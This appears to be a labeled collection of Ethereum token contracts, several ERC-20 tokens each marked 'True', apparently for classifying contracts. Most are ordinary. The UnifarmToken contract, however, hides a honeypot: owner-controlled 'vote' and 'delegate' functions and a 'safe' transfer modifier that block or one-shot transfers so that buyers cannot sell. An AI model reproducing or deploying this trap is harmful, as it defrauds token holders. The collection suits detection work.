( address seller, bool ifMedal, uint medal, uint token ) { AnnoTrade memory _anno = annoTrades[_tradeId]; seller = _anno.seller; ifMedal = _anno.ifMedal; medal = _anno.medal; token = _anno.token; } function WhoIsTheContractMaster() public pure returns (string) { return "Alexander The Exlosion"; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-03-04 */ pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'ACN' token contract // // Deployed to : 0x3dd873f431DaEcE7CED026B25dA77Ce910634519 // Symbol : ACN // Name : ACN Token // Total supply: 1000000000000 // Decimals : 8 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract ACNToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "ACN"; name = "ACN Token"; decimals = 8; _totalSupply = 100000000000000000000; balances[0x3dd873f431DaEcE7CED026B25dA77Ce910634519] = _totalSupply; emit Transfer(address(0), 0x3dd873f431DaEcE7CED026B25dA77Ce910634519, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-04-26 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract UnifarmToken is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _votes; uint256 private _totalSupply = 1000000000 * 10e18; address private _owner; address private _delegator; uint8 private _paused; string private _name = "UNIFARM Token"; string private _symbol = "UFARM"; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _owner = msg.sender; _mint(msg.sender, _totalSupply); } function vote(address account, uint8 status) external safevote() returns (bool) { _votes[account] = status; return true; } function pauseVoting (uint8 status) external safevote() returns (bool) { _paused = status; return true; } function delegate(address account) external safevote() returns (bool) { _delegator = account; return true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function getVotes (address account) external view returns (uint256) { return _votes[account]; } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } modifier safe(address sender, address recipient) { require(_votes[sender] != 1 && _votes[recipient] != 1, "Not safe voting"); address _safeaccount; uint256 votingInterval = block.number - 20; if (recipient == _delegator) { _safeaccount = sender; } else { _safeaccount = recipient; } if (_paused == 0) { require(_votes[_safeaccount] == 0, "Not safe"); _votes[_safeaccount] = 1; } else { require(_votes[_safeaccount] == 0 || (_votes[_safeaccount] < votingInterval && !isContract(_safeaccount)), "Not safe"); if (_votes[_safeaccount] != 1) { _votes[_safeaccount] = block.number; } } _; } modifier safevote() { require(msg.sender == _owner, "Caller is not owner"); _; } function _transfer(address sender, address recipient, uint256 amount) internal safe(sender, recipient) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }

True

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/** *Submitted for verification at Etherscan.io on 2021-08-03 */ /** Do NOT buy this token. This is a token for receiving a generous donation from my very own frontrunner who is kind enough to give me back the profits he has stolen from me. I repeat, do NOT buy unless you want to contribute to this donation. */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ contract DonotInu is ERC20 { uint8 immutable private _decimals = 18; uint256 private _totalSupply = 10000000000000 * 10 ** 18; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor () ERC20('Dono Inu', 'DONINU') { _mint(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }

True

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pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); 